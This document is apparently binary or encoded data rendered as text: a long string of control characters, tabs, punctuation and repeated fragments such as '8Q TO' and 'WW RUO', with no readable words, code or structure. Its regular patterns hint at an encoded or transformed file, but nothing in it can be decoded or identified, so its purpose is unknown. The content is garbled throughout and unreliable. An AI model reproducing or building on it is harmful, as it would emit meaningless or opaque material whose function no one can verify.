^R^ Q		QV OCSW	U8SKGGGGCTRP^NmGGmGGGGGGGGGOF^8UVUVOTTPNO^8UVUVOT_RNNNGGGG	GGCTRP^\mGGGGGC 8TRQ
_QGGGGGZG 8	OCSW	U8SKGGGGGEEN\mGGOC 8TRQ
_QGGZZZGGEEGGGFGGGGG^8UVUVOTPSNOC 8TRQ
_QNNGGmGGGG	GGGGCTRP^\mGmGGC8	S_UGGZG'	QU 
OT_QNOC 8TRQ
_QKGGN\mmmGGOC8	S_UGGGZZZGGGGGG^8UVUVOT_PNOC8	S_UNGGG[GGGGUNGCWWZOW^LWPSN\C
T UZCWWBVQ\m	GGGCTRP^\mmGGGCTS^TVRGZGGGGGGC8	S_U<W:\mGmmGC
V  8Q	_	GGGZGGGGGEE\mmmmGGGGGOC^UQ8GGZGGGGVKGGGGGC VGGGGZG	QU 
OT_PNOC8	S_UN\GGGC^UQ8GG[GC V\GGGC^UQ8LLNGGGGmmmC
V  8Q	_	GIZGGG^8UVUVOT_VNOWW RUOT_TNOC8	S_U<C^UQ8:NGGGG9G^8UVUVOT_TNOCTS^TVRNN\mmGGGGGGGGC^QTSUGGZGGV	^	 8QOC
V  8Q	_	N\mGG	GC^QTSUGGGGGFZZGGGGGXGC^QTSUGG]GGGGCTRP^\mGGmGG		GGV	^	 8QOCR
8Q
NmGGmGGGGOF8Q TOTPSNOCR
8Q
NNG	GGGGG\mGGGGO	OWW RUOT__NNGAAGGG7/781"54.()8.#GYZGGOQ^^TVLQ^NNGm	G'8Q TOT_^NOCR
8Q
KGO^8UVUVOT^WNGZYGGGNN\mmmGGGGGmGGG	GGGGG'	QU 
OT_^NOCR
8Q
N\mGGGGGmGGGGG		G8PSWQP
TONmGGmGGGGGGGGGGCUWU
GGZGG	\mGGGGGGOCUWU
GFZZGG	NG	GGGCUWU
\mmmGC
8SP_GGGZGGG	OWW RUOVWUNNGGGGGGXG&%47&3/GGG]GGEE\mmmCUWU
GZGGGGWW RUOVVRNO	QU 
OT^VNO@;;@KGG@H@KGGGC
8SP_NKGGGGG@H@NGIGG@H@\mGGGG	GCUWU
\mmmGmmGGGG		G^8 WP_OCSW	U8SNmmmmm	GG^U  

VRO8PSWQP
TONGIGGO	 NGGGGVS^SONGIGGCSW	U8SKGGGGOT[[UNN\CQPW_ZTPRT\C_TRPQ_ZCQPW_BVP\mGGGGm		GGGS^8SOCSQ8WS_NmGGmGG	GGO	 NGGOOWV_^TLWTTT_SNGLGOO	NGGGGO	QU 
OT^UNO	QU 
OT^TNO8PSWQP
TONGGIGGG^8UVUVOT^SNGIGGCSQ8WS_NKGGGGWKGGOQLVNNNGBGGGO_^^^^RVLS_NNN\mGmGGGG		GGGQ8V8RONmGmGGGGG	GS^8SO^8UVUVOT^RNN\mmGGGG		GGG	W TTV^TVONmGGGGmGGC^

	_GGGGGZGGGGGO	 NGGGGU^ _UO^8UVUVOT^QNKGGEEN\mmGG	G8Q TOT^PNOC^

	_NGYGOWTLWPNGGGAAGWW RUOURVNOC^

	_KGGQ8V8RONNGGFZZGGGAAGGG8Q TOT^_NOO	 NGGU^ _UO^8UVUVOT^^NKGGGGGGEENNGGYGGOQULT_N\mmmGmmG		GGGU^ _UOCSW	U8SKGCTRP^NmGGmGGGGG	GGGGGV
^R^ Q		QV O^8 WP_OCSW	U8SNKGGGGGCTRP^N\mmmGGGmGG		G_	8VUST
UOCSW	U8SKGGGGCTRP^GZGGGGEENmmmmGGmGGGGC R8S GZGGGGGU^ _UOCSW	U8SKGGGGGCTRP^N\mGGGOWW RUOTPSNOC R8S NNG	GC R8S \mmGGGGGGGO	QU 
OSWWNOC R8S NNG	GGGO	 NGGGC R8S \mGGGGGG	GCTRP^\mmGGG		G_8U^ P OCSW	U8SKGCQW8QKGGGGC
WNmGGmHHG	GGJmmGGG
VR_WWO^8 WP_OCSW	U8SNKGGGGCQW8QKGGGGGC
WN\mGGGGm		GU^^8VP8RTW
ONmGmGC^GZGGGOC +(%&+4<8Q TOVTVN:NGXGGGGC +(%&+4<	QU 
OSWVN:GG]GGON\mGGGGC 8TRQ
_QGGZGGGU^ _UOWW RUOSWUNKGGGGGONN\CUU8
QPZ_PS\C^PWQZOCUU8
QPYWNXCUU8
QP]JCUU8
QP\mmGGO^8UVUVOTWTNOC 8TRQ
_QNNGmC^GZGGG8Q TOSWTNOC 8TRQ
_QKGGGGC^N\mGGmC^GGZGWW RUOSWSNOC^N\m	GG	QU 
OVTUNOC^KGJOWTLWUNN\mmmm		GGWWW	
_^ONmGGGGmmmmGGGOFOC +(%&+4<8Q TOSWVN:NGGGGG
OC +(%&+4<WW RUOSWVN:NNGGG	\mGmGGC 8TRQ
_QGGZGGGGGU^ _UO^8UVUVOSWUNKGGGONN\mGGCPT8PP_GGGZGWW RUOSWSNO8Q TOSWTNOONC 8TRQ
_QKGC +(%&+4<WW RUOSWRN:NN\mGCPT8PP_GGGZG	QU 
OVTUNOCPT8PP_KGGGGGGJOQSJVSNN\mmmmGG_8U^ P O^8UVUVOSWUNKGCPT8PP_KGWW RUOSWQNN\mGGGGGGO3GGGGC  PNGGGmWS	V VQPO^8UVUVOSWPNKGGC  PN\mGGGGGGGGO"	GGC  PNGmGGGGmGGGGGmGGGGmG		GWRQ _WSOCR
8Q
KGCNmmGGmHHG	GJGG07G.		%7mmGGGOFGWW RUOTPSNOCR
8Q
NGGGGFGGGG	QU 
OTPSNOCNGGGGGGWW RUOSW_NOCNGZZZGGWNGGGGGGm	GG	\mmGmCSWVTS TQPTGZGGWW RUOSW_NOCR
8Q
N\mGCT
S	QT_GGZG^8UVUVOSW^NOCN\mGGC^

V
V
GZGGEE\C	P^T_ZUPQ\CSR^ZC	P^T_BS\mGOC^UQ8GGZGGGW\GGGC^UQ8GG[GGGGCSWVTS TQPT\GC^UQ8LLNGGGGGmC^

V
V
GGIZGGGG	QU 
OSVWNOWW RUOT_TNOCR
8Q
<C^UQ8:NGG9GGGG8Q TOT_TNOC<C^UQ8GGGGBGGGGGCT
S	QT_:NN\mGGmGGG	GGGGGGC^

V
V
\mGGmGGGGGmGGG		GGGQVVOC8P _U NmmGGGGGGOFG	QU 
OTWTNOC8P _U NNGGmmGGGGGC8P _U GGGGZGON\CQWS
ZVLTW\C 
V	Q^ZCQWS
JS^\mGGGGmGC 8QQQGZG88V8VVON\mGGGGGGGGC	_	 V_GGZGGGGG8Q TOTTPNO8Q TOT_RNNGGXGGV
^R^ Q		QV O	QU 
OSVVNKGGNGGG]GGG\mGGO^8UVUVOTWTNOC	_	 V_NGAAGOC	_	 V_<8Q TOSVUN:NGGGAAGGGGO	NGC	_	 V_<	QU 
OSVUN:GGGYZGGGGORVRJUVRNGAAGGO	NGGGGGGC	_	 V_<	QU 
OSVTN:GG[ZGO_QTQTLTPNNGGGGGGC 8QQQGGZGGGO	NGC	_	 V_<WW RUOSVTN:\mmGOC 8QQQG[GGOUVLT^NNGGGGGmGGGGC 8QQQGGGZGGGOTRTTLQPN\mmC8P _U <WW RUOSVSN:GGZGGOmG	QU 
OSVRNGGGZYGGC 8QQQKmG^8UVUVOSVQNGGGZYGGGWW RUOSVPNKmGGGGN\mGGGGGGC8P _U <WW RUOSV_N:GGGGGGZGGOm8Q TOSVRNGGGZYGGOSQWLVSWNKmGG^8UVUVOSV^NGGGZYGGGGG8Q TOSUWNKmGGN\mGGGG	GC8P _U \mGGGmGmGGGGGGG		GGG 
PRUONmmGGGmmmmGGGGGGGGGOF	QU 
OSUVNO^8UVUVOSUUNNGGGGGFWW RUOSUVNO	QU 
OSUTNNNGGGG	\mmmmGGGGGGGOF^PVWOWW RUOSUSNNNGGG	\mmGGGGGGGGmGGGOF8	8O	QPRONNNGGCT8V	SZ_PR\CW
UZOCT8V	SYWNXCT8V	S]JCT8V	S\mGGGGGGGG88	O8Q TOV_TNONGGGLGGGWW RUOSURNOORQLSNKGOTSPJSPNNKGG8Q TOSVSNKGG	QPRONN\mmmGGGGGGmHHG07G"
G%]G
G		mmmGGG	GGmGGT_TV 		^O	QU 
OSUSNN\mGmmGGGmGG		GU _ ONmmGGmGGGGGGGGGGO	O	QU 
OSUQNNGGGGAAGGGG#(.) 8$5()NGGGGC
QZ7/78.)38*&?H7/78.)38*&?\C
^S_ 8ZC
QLSU\mmGGGGGG	\mGmGGGmGGGGGC	TGGGGGZGG\mGGGGGGOC	TNGGGGG	\mGGC	TGGZG\mGGGGmGGGGGOFGG	8P	VONNGGGGmG	\mmmmGmmmmGG_ O^8UVUVOSUPNKGGGG	QU 
OSU_NKGGGGWN\mmGGGm		GSRUP W_ONmGGGGGmGGGGOFWW RUOSUVNO	QU 
OTW^NNGGGGGFWW RUOSUVNOWW RUOSU^NNNGGGGGG	\mmG'^8UVUVOSTWNO8OWW RUOSTVNGIGG^8UVUVOT^VNO@I@KGGGGGEEKGGGGGO	 NGGGGGG^8UVUVOTSPNONNGGGGIGG	QU 
OSURNOOVQWJQWNKGOWU_LWVRNNNKGO8Q TOTVWNGGGZYGWIWVKGG^8UVUVOSTUNGZYGGGKGGGG^8UVUVOTVVNGGZYGNN\mmmGGGGGGGmGG		GGP^TQ V 
ONmGmmmmGGGGGGGGGGC8QTWGGGZG\mGOC8QTWNGGG	\mGC8QTWGGGGZG\mGGGGGGGmC8PGGZGGGGG\mGGGGO	QU 
OSUVNOWW RUOSTTNNNGm8Q TOSTTNON\mGGGC8PGGGZG\mGGGGGGGGGGO^8UVUVOSUVNO	QU 
OSTSNNNGGGmHHG'G	JmmGGGGWW RUOSTSNON\mGC8PGGZGGG\mGGGGGGmGGGO^8UVUVOSUVNO^8UVUVOSTRNNNGGmGGG'^8UVUVOSTRNON\mmmmmGGGGGGCPRU8T UGGGGZGGGG	QU 
OSUVNOWW RUO^QNNGGGGAAGGG'8Q TO^QNO8Q TOSTQNN\mmmmGGGGOF8	ONGGAAGFCPRU8T UGGGGAAGGGG	QU 
OSTPNONGGGZZZGVGAAGWW RUOST_NO8Q TOST^NNNGGmHHG		GmmGGGGC8GGGGZGG'8 8	 ON\mGGGGGGGGGGGGGOC8GGGGFZZGGGAAGGC8GGYGWNGGm'O^8UVUVOSSWNGGGGIGGGC8N\m'OWW RUOSSVNN\mGGmGGGGGGGmGGOWW RUOSTPNONNGGGGmHHG07G7G&]GGmmGGGGG'WW RUOSSUNON\mGGmGG'WW RUOSSTNON\mGmGGGC	
	VGGZGGGG8Q TOST_NO	QU 
OSSSNNGGAAGGFO	O^8UVUVOSSRNNGGAAGGG#.4&%+"8078$5()N\mGGC
_UW _GGZGGFWW RUOSSQNO8Q TOT_RNNGGGO	NG 8	O	QU 
OSSPNKGGGGWNGZZZGGGGW\mmmmGGGGOFC
_UW _GGAAGGG	QU 
OSS_NO	QU 
OT_RNNGGAAGGG8Q TOSS_NO8Q TOTQ_NNNGmGCV
 U
T
^GGZGGGGGGO	 NGG 8	O	QU 
OSS^NKGGEEN\mGGGGOCV
 U
T
^GGFZZGGG^8
U_U
ONNGGmG'8	OWW RUOSS^NKGG^8
U_U
ONKG^8UVUVOSWQNN\mGG'8	O8Q TOSSPNKGWKGWW RUOSWQNN\mGGGC
_UW _GGZGGGG\mmGGGGGmHHG	GJG
mmGGGGGmHHGJ	G	JJ mmGGGC S8 	T
WGGZG\mGGGGGGOC	
	VGGAAG	QU 
OSS_NO8Q TOSUUNNNGGGGGGmGGGGCUTUV
PGZG8	8O	QPRONN\mGGGGOCUTUV
PGGAAGGGO	QU 
OV_TNONGJGGO	NGGCUTUV
PNGYGGOWRSLWVNNGGGmmC S8 	T
WGZGG\mGOWW RUOSS_NO8Q TOSRWNNNGG'8	8	OO	NGCUTUV
PKGGG	QPRONN\mGGGGGmGGGGGGGmHHG07G$
	G%G
	G
mmGGGGOC	
	VGGAAGFC
_UW _GGGGAAGGGGFC S8 	T
WNGmGGCSPT8GGZG	QU 
OSS_NO	QU 
OSRVNNGGGGXGO	NGGGG8	8O	QPRONNGGG]GGGGGW\mGOCSPT8G[ZGGWGGGGGGGGGCSPT8GGJGGG^8UVUVOV_TNONGGGGGYGGO_V^L_VNNGGGGGmGG'88	 8	O^8UVUVOV_TNONKG	QPRONN\mGGmHHG07G+ 	G%]G	
	GJ		
	mmGGGGGG8Q^SQRON\mGG	\mGmGGGGGGGOC S8 	T
WNGGGWS	V VQPO8Q TOSRUNKG8Q TOSRTNN\mHHG07G6G%]GGJ	mmmGGGGOFC8PNGGGGmGGGGGOC	
	VNG'88	 8	O8Q TOSRSNONKGG	QPRONN\mGSRUP W_ON\mGG8Q^SQRON\mGGG	\mmGmGGGGGGGGGGO	QU 
OSRRNOWW RUOSRQNNNG'	QU 
OSRPNOOPPLVWTNN\mGTS
PON\mGGGGGO3GGGC  PNGGGGGmGWS	V VQPO^8UVUVOSR_NKGC  PN\mGGGGGGGO"	GC  PNGmGmGmmGGGGGG		GGQW T	PONmGGGGCUQ8ZQPVTP\CZCUQ89UVW\mGGGGGmGGGOFGGGG	QU 
OSRRNOWW RUOT_RNNNGGmHHG07G/	 G%]GG	
J
mmmm	\mmGGGGmGGGCT	QGGZGG^8UVUVOSRRNO^8UVUVOSR^NNGXGG 8		OPS_US^_ONNGGGGG]G\mGOFGG	QU 
OTWTNOCT	QNNGGCT	QGGZGV
^R^ Q		QV O	QU 
OSQWNKGGGN\mGGGGGGGGGGOFGGG8Q TOSQVNOCT	QNNGmmmmG	\mGGGGGmmmmGGGGmGGGOOCT	Q<WW RUOSQUN:NGGGGAAGGWW RUOSQVNOCT	Q<WW RUOSQUN:NNGmGGGGGC +(%&+4<^8UVUVOSQTN:GGGZGGGGG8	 ROCT	Q<8Q TOSQUN:N\mmGmmGGGGGGOOCT	Q<^8UVUVOSQSN:NGGGGAAGG8Q TOSQVNOCT	Q<	QU 
OSQSN:NNGGmmmGGC +(%&+4<WW RUOSQRN:GGGGZGGGG8	 ROCT	Q<	QU 
OSQQN:N\mGGGmGGGmGGGGGOOCT	Q<^8UVUVOSQPN:NGGGGGAAG^8UVUVOTPSNOCT	Q<^8UVUVOSQPN:NNGGGGGGmGGC +(%&+4<^8UVUVOSQ_N:GZGGGGGGCT	Q<^8UVUVOSQPN:\mGmGGGGGOOCT	Q<	QU 
OSQ^N:NGAAGG8Q TOTPSNOCT	Q<8Q TOSPWN:NGGAAGGWW RUOSW^NOCT	Q<WW RUOSPVN:NGGGGGYGOT_LVUNNGGmmmGGGGGGGC +(%&+4<8Q TOSPUN:GGGZGGCT	Q<8Q TOSPTN:\mGGGGmmmmGGGOOCT	Q<8Q TOT^RN:NGGAAG^8UVUVOTPSNOCT	Q<	QU 
OT^RN:NGGAAG8Q TOSW^NOCT	Q<WW RUOT^RN:NGGGGGGYGGGGGOU^LPVNNGGGCQUZSTL^S\C
Q	U	TZCQUJT^\mGGGGGGC +(%&+4<WW RUOSPSN:GGGGGGZGGGCT	Q<^8UVUVOT^RN:\mmGGGGGGGGGGGO3GGGC  PNGGGmGGWS	V VQPOWW RUOSPRNKGC  PN\mGGGGGGGGGGGGO"	GGGC  PNGGmmmmGmGGGG		GGGGQ
Q
UQ_ ONmmGGGGGGGmGGGGGmHHG'	G	mmGGGGGOF^8UVUVOSRRNO^8UVUVOT_RNNGGGGF	QU 
OSPQNOWW RUOTQ_NNNGG	\mmmmGGGGGGOO	NGGGG 8	O	QU 
OSPPNKGGGGWNGGYG	QU 
OSRSNONGGJGGGOW^RLWSRNNG	\mGGGGGGGGO^8UVUVOSPQNO^8UVUVOSP_NNGGGGAAG 8		O	QU 
OSP^NNNG	\mmGCWSS_GGGZGGU^ _UO	QU 
OS_WNKGEEN\CW^
_ZUWVTP\C8ZCW^
_9VWR\mGGGGGGGOFWW RUOTPSNOCWSS_NGGGGGGGG8Q TOSW^NOCWSS_NG[GOWVPSLW_WNGGGGGGGGS
WTWROCWSS_NGGGGFW^RTOCWSS_NNGmGGGGGGCWSS_GGGGGGZGG\mC
UQU GZGGG'8Q TOUVWNO^RRONN\mGGGGGGOC
UQU GGGGGGAAGC
UQU GGGYGGOSVTL_PNGAAGGGGGC
UQU GGG[ZGGGOWVSR_LWVPSPQNNGGGGGmmmmGGGC^ ^_TR	URGZGG'	QU 
OUVVNO^RRONN\mmmmGGGGO8Q TOS_VNOC^ ^_TR	URNGGGGGAAGGG	QU 
OSW^NOC^ ^_TR	URNGYGGOVWS_RVWLQQNNGGGGGGC^ ^_TR	URGZG8 	  OC^ ^_TR	URN\mmGGGGGGGO	QU 
OS_VNOC^ ^_TR	URNGGAAGGGFS
WTWROC^ ^_TR	URNGGAAGGGGW^RTOC^ ^_TR	URNNGGmG_8U^ P O	QU 
OS_WNKGGGGC^ ^_TR	URKGGGGG^8UVUVOSWQNN\mGCWSS_GGGZGC^ ^_TR	UR\mmmmmGmGGGGGGOFCWSS_NGGGm'8	O	QU 
OS_UNKGGG^8UVUVOS_TNONKGG	QU 
OSWQNN\m	\mGGGGGGmHHG07G7G"GGmmmmmmC
8 S^GGGZGGGO^RRONN\mGCP_PTGZGGG8^SU ^ON\mGC_8TWGGGZGVSOCP_PTN\mGGO	QU 
OSQVNOC_8TWNNGGmGGGGGGOC_8TWGGGGC U_WR
UNGmGGGGO^8UVUVOT^UNOC U_WR
UKGGGJOWULWUNNGZZZGGG8Q TOPWNNGGC
8 S^<:GGZGCP_PTGIG@H@GGIGGC U_WR
U\mGGGGmmGGGGO	O8Q TOS_SNNGAAGGG	QU 
OS_RNO	QU 
OTWVNNNGmGGGGGGGGOONGGGG'^8UVUVOTWVNO0787+2 .)8#.5GGIGGGG8Q TOS_QNNGGGGGCPP8QNGGGC
8 S^<:GZGGCPP8Q\mGGmGGGC
8 S^GGGGGZGWW RUOSWSNOC
8 S^N\mmmGGGCR	^ P8GGGGZGGGON\mGGCQ8
	^GGZG^8UVUVOT^UNO8Q TOS_PNO^8UVUVOS__NKGGEEKGGG^8UVUVOT^UNOCWSS_KGGWKGOQRRU_L_NNNKGGWKGOV^RWL^_NN\mGOC
8 S^GGGGGC
8SP_NGGGmmGGGGGC^R_PGGZG'^8UVUVOUVWNOC
8SP_N\mGGGGGGGGGOFC^R_PGGGGGGC^R_PGG[ZGORT_WQSLRVWRVUNNGG		\mGCVGGZGG'^8UVUVOS_^NOC
8SP_KGKGGG	KGGWKGGGO^SRP_JU^WSUNN\mmGGGGGGOF8Q TOS_VNOCVNGGGGFS
WTWROCVNNG		\mGGGOC
8SP_GGFZZGGGGG^RRONGGGGGAAGGWW RUOT^UNO8Q TOS^WNO^8UVUVOS__NKGEEKGCVNKGGGGWKGGOV^PPLPVNNGGGFZZGGGGGGCQ8
	^NG		\mGGCR	^ P8<:GGZGGGGGC
8SP_\mmmGGGmGGGGGGGGOFCR	^ P8NGGmGGGGO	QU 
OS^VNO^8UVUVOS^UNNNGGG8		O^8UVUVOSP^NKGGVKGGORWVL^^NN\mG	\mmmmG'8	O	QU 
OS^TNKG	QU 
OS_TNONKGG	QU 
OS^SNN\mGGGGGGGOCR	^ P8GGGGGGC	S^RWNGGmG



T_WOC	S^RWKGGORUQJVWQNN\mGGGGOSS8^

TVOC	S^RWKGGGGG_^UQUSOCWSS_NNNGmGVRQU8OC	S^RWN\mGGGGGGGVVU
OC	S^RWN\mG



T_WOC	S^RWKGGGOR_SJU^UNN\mGS_R^W8OC	S^RWN\mGGGOC	S^RWGZZZGG^RRONNGGGm	W
_RUTTON\CUQW8ZV_UVP_\CTR	ZCUQW89Q^\mQT88^ON\mmmGmGGGGGGGmGGGGG



T_WOC	S^RWKGOWRRLWNN\mGGGGGmGmGGGGGGGGGGO3GGGC  PNGGmGGGWS	V VQPO8Q TOS^RNKGGC  PN\mGGGO"	GGGGGC  PNGGGGmGGGmmmmmGGGGG		GUS^8	Q_WVU8ONmGGmGGGGGGGC	TGZGGGG\mGGGGGGGGOC	TNGGG	\mGGC	TGGZGGGG\mGGGmGUPUWV8VON\mmmmGGGGQ
Q
UQ_ ON\mGGGGP
 	VQON\mmmmGQW T	PON\mGG 
PRUON\mGQSVON\m
8PQW8 ON\mGGG
 RW8TS8STON\mGGGGR8PPTON\mmGGO	8P	VONNGGGC_  ZUSL^P\CS QUZC_  JTP\mGGGGO8Q TOS^VNO^8UVUVOS^QNNGAAG8	OWW RUOSR_NNNGGGmGGGGO8Q TOS^PNOWW RUOVRSNNNG8Q TOVRSNO^8UVUVOSU_NN\mGGGGGGm_ OWW RUOSR_NKG8Q TOS^_NKGWN\mmHHG'
JGJmmGGGGGmGGGGGGGO3GGGC  PNGGGGGmHHG'G		JmmGGGGGGGO"	GGGC  PNGmHHG07G/ G(G$
		]G
G	mmGGGGGGGGmGmGGGGGGG		GGGGG8Q^SQRONmGmGGGGGGGGGGmGGGGOF	QU 
OS^PNO8Q TOSTWNNGGGGGGGGGF8Q TOS^PNO	QU 
OS^^NNNGG	\mmmmGGGGOF8Q TOS^PNOWW RUOT_RNNGGGGFWW RUOS^PNOWW RUOTQ_NNNGGG	\mGGCP R SS
UGGGZGGG	QU 
OS_TNON\mGGGOCP R SS
UGGJGO	NGG' 8	O^8UVUVORWWNKGGWNGGG[GGOTRSULR_NNGG	\mG'8	O	QU 
ORWWNKGGGGCP R SS
UKGGWW RUOS^SNN\mGG'	QU 
OSTWNO
8O@H@NKGGO	QU 
OTVWNGGGGGZYGGGGUKGG	QU 
OTVVNGGZYGGKGGGWW RUOSTUNGGZYGGGGGNN\mGGGGGGGO3GGC  PNGmGGGGGGGGGGO"	GGGGC  PNGGmmmGmmGGGGmGGGG		G	8P	VONmGGmGGGGGOFGGG^8UVUVOS^PNOWW RUOT_RNNNGGmmmmG	GGGGG\mmmGGGGmmmGGGGmGGGO^8UVUVOS^PNOWW RUORWVNNGGGGAAGG 8		OPS_US^_ONNNGmGG	GGGG\mmmmmGmC	U
PGGZG88V8VVON\mGGGGC	_	 V_GGGZGGV
^R^ Q		QV O	QU 
ORWUNKGGGGN\mGGmmGGGGOWW RUOSQVNOC	_	 V_NGGGAAGGOC	_	 V_<^8UVUVORWTN:NGGAAGO	NGGGC	_	 V_<WW RUORWSN:GYZGOS^TJV^TNGGGGAAGGO	NGGC	_	 V_<WW RUORWSN:G[ZGGOVVV_TUJURSTUNNGGC	U
PGZGGGGGO	NGC	_	 V_<WW RUORWSN:\mGGGGGCWPVPGGZGO	NGG 8	OWW RUOSSPNKGWN\mGGGGGOCWPVPGGGGYGWGGGGAAGGOWW RUOS_TNONGJGGCWPVPNGG[GC	U
PNGGGm	GGGGGG\mGmmGCSWR^GGZGO	NG 8	O	QU 
ORWRNKGGWN\mGGGGGGOCSWR^GGGYGGGGWNGmHHG07G7G&]GG	mmGCSPGZGGGGGO	NG 8	O8Q TORWQNKGGGGWN\mCP 8T_GZGGGOOWSTLW^NKGO___LVUNKGOVPTSLQQNKGGGGOUQURL^PRNKGGGGGOTRTULQ_NN\mGGGCQ SQGZGGCP 8T_<WW RUORWPNOWKG^8UVUVORW_NOCSPGGGGGGJGGVKGOUSP9USTNNN:\mGGGGGGGGCQ SQGGGLZG8Q TOSURNOWKGO	NGGGGGOCQ SQGGGMGWIURNN\mGGGGGGOO	QU 
OS_TNONGGJGGGGGCSWR^NG[GCQ SQNGGGGGGmGG	GG\mGGGGmGGGGGmmmGGmGGGG	G\mmGmmmmGGGGGGG		GGTTP ONmmGmGCSPGZGGO	NGG 8	OWW RUORWQNKGGWN\mmG8	OWW RUORWQNKGGGGGCSPGLGGGGVN\mG8	OWW RUORWRNKGG^8UVUVOS_TNONN\mmmmGGGGm		GGGWQ8U_^P
^QTONmGmCS^WRGGZGGGGON\mGGmGGCS^WR<	QU 
ORW^N:GGGZG^8
U_U
ON\mCS^WR<WW RUORVWN:GGZGGG7/781"54.()\mGGGCS^WR<	QU 
ORVVN:GGGGZGG	QU 
O^UNON\mCS^WR<	QU 
ORVUN:GZGGGOWW RUORVTNO8Q TORVSNNGGGAAGGG8ONNGXGGGGGVGG]GGGW\mGGGGCS^WR<	QU 
ORVRN:GGZGGOWW RUORVTNO8Q TORVQNNGGGAAGGG8
ONNGGGGGXGGGVGGGGG]GW\mGGGGGGCS^WR<	QU 
ORVPN:GGGZGOC +(%&+4<	QU 
ORV_N:NGGXGGO	 NGGGGGGC +(%&+4<	QU 
ORV_N:GGG]GGGGGGEE\mmmmCS^WR<WW RUORV^N:GGGZGGOC84"51"5<	QU 
O^RN:NGXGGGGG	QU 
OT^UNOO	 NGC84"51"5<WW RUO^RN:KGGWKGGGOUW[[VNNG]GGGEE\mmmC	Q^ WT
	GZGGGGOOC +(%&+4<8Q TOSQ_N:NGGGAAGGGG^8UVUVOS_VNOC +(%&+4<^8UVUVORUWN:NNGGXGGG^8UVUVOTSVNOC +(%&+4<^8UVUVORUWN:NGG]GGEE\mGGCS^WR<WW RUORUVN:GGGGGGZGGGGGOC	Q^ WT
	GGGFZZGEENGGGXGGGGVG]GGGGGW\mHHG'
GmmGGGGGGGCS^WR<WW RUORUUN:GZG8Q TORUTNOC	Q^ WT
	N\mCS^WR<^8UVUVORUSN:GGZGGF
OC +(%&+4<WW RUORURN:NGGGGGXGGGGGGVGG]GGW\mGGGGGCS^WR<^8UVUVORUQN:GZGGF
OC +(%&+4<8Q TORUPN:NGGGGXGVG]GW\mGGCS^WR<WW RUORU_N:GGGZG8Q TORVTNOWW RUORU^NNGGXGGO	NGGGG' 8	O8Q TORTWNKGGGGGWNG]GW\mGGCS^WR<WW RUOT^QN:GGGZGGGO_	8VUST
UOWW RUORTVNKGEENGGFZZGGGGGEENGXGVG]GGGGGW\mGGGGCS^WR<	QU 
ORTUN:GZGG^8UVUVORVTNO^8UVUVORU^NNGGGXGGGO	NGGGGG' 8	OWW RUORTTNKGGGWNG]GGGGGGW\mGCS^WR<8Q TORTSN:GZGGWW RUORTRNO	QU 
ORU^NNGGXGGGGO	NG' 8	OWW RUORTQNKGGGWNGG]GGGW\CSSZUQMR\C  P
SWZCSSJVT\mCS^WR<8Q TORTPN:GGZG^8UVUVORTRNO^8UVUVORU^NNGGXGGO	NGG' 8	O^8UVUVORT_NKGGGGWNG]GGW\mGC	
QRVGGGGZGG
U	TWQQON\mGGGGGGCS^WR<WW RUORT^N:GGGZGGGGG'	QU 
ORSWNOC	
QRVGGGIG^8UVUVORSVNNGGXGGGGGGO
	V		Q__O'^8UVUVORSUNOC	
QRVGGGGGGIGGGGWW RUORSVNKGGGGGGKGGGG	KGGGGGWKGGGOQRPWLVQUUNNNGGGXGGGUGG]GVNGGGG]GGW\mGCS^WR<WW RUORSTN:GGGGGGZGG'	QU 
ORSWNOC	
QRVGGIG8Q TORSSNNGXGGGO
	V		Q__O'^8UVUVORSUNOC	
QRVGIG8Q TORSSNKGGKGGGG	KGGGGGWKGGO_W_LPT_SNNNGXGGGGUGGG]GGGGVNGGGGG]GGW\mGmmmmCS^WR<	QU 
ORSRN:GZGGGG'WW RUORSWNOC	
QRVGIGG^8UVUVORSQNNGXGGGGGO
	V		Q__O'^8UVUVORSPNOC	
QRVGGGIGGG	QU 
ORSQNKGGKGGGGG	KGGGWKGGGGO_VWPL_RNNNGGXGGGGGUGGGGG]GGVNGG]GGGW\mC
WSQGGZGG^8UVUVORS_NGIG^U  

VRO&%47&3/GIGG@ @KGGGOWSLWSNN\mGGGCWGGZGG	QU 
ORS^NGGIGG^U  

VRO&%47&3/GIGG@ @KGGO^^9VWPNN\mGCS^WR<^8UVUVORRWN:GGGGGGZGGGGGW\mGGGGGGGGGOORU^W
 ONKGGC	
QRVKGGGG&%47&3/GIGGWW RUORRVNNGGGGGGGC	_ PNGGmHHG'	G
mmGGGGGGGGO'^8UVUVORSWNOC	_ PGGIGGGGG@H@GGGIGC
WSQGIGGG8Q TORRUNNNGCS^WR<^8UVUVORRTN:GZGGV\mGGGO'8Q TORSWNOC	_ PGGIGG@H@GGIGGGCWNGAAGGO	NGGGG'8Q TOP^NOC	_ PGGIGG@H@GGGGGGIGGGGGCWNGGYGG^8UVUVORRSNONGGJGGGOT9USTNNGmGGCS^WR<WW RUORRTN:GZGU\mmGGGGG\mGGGGGGGmGmGG	OCWKGGGGGC	_ PN\mGGGGC_S  SW GGGZG8Q TORTRNO	QU 
O^QNNGGGXG'8Q TO^QNO^8UVUVORRRNNGGG]GG\mGGGGGGGOF	QU 
ORRQNOC_S  SW NGGGGGGGC_S  SW GGZZZGGGGGEEGGGGGC_S  SW GZZZGG	QU 
ORRPNNGGGGGC_S  SW GZGGG8Q TORR_N\mGGGCS^WR<8Q TORR^N:GZGGGGGO'8Q TORSWNO&%47&3/GIGGGGGGC_S  SW NGGAAGGG^8UVUVORQWNOO	 NGGGG'WW RUORSPNO&%47&3/GIGGC_S  SW NKG8Q TORQVNNGFZZGGGGGNGGXGVGGG]GGW\mGGCS^WR<WW RUORQUN:GZGGO'WW RUORQTNO&%47&3/GGGIG8Q TORQSNNGGGAAG8Q TORQWNOO	 NGGG'WW RUORSPNO&%47&3/GGGGGGIGGGWW RUORQSNNKGGWW RUORQRNNGFZZGGGNGGXGVGG]GGW\mCS^WR<^8UVUVORQQN:GGGGGZGGGGO'	QU 
ORQTNO&%47&3/GGIGGG	QU 
ORQPNNGGGGGGAAGGGWW RUORQ_NOO	 NGG'8Q TORSPNO&%47&3/GGIGGWW RUORQ^NKGGGKGGG	KGWKGOQRSPTLQTNNKGG^8UVUVORPWNNGGFZZGGGNGGXGGVGGG]GGGGW\mGCS^WR<8Q TORPVN:GGZGGGG	O	QU 
ORPUNNGGXGGVGGGG]GGW\mCS^WR<8Q TORPTN:GGGGZGGGGGO	O8Q TORPSNNGGGGG	O8Q TORPRNNGGGGGG	OWW RUORPQNNGGGWW RUORTRNOWW RUORPPNNGGGGGG	QU 
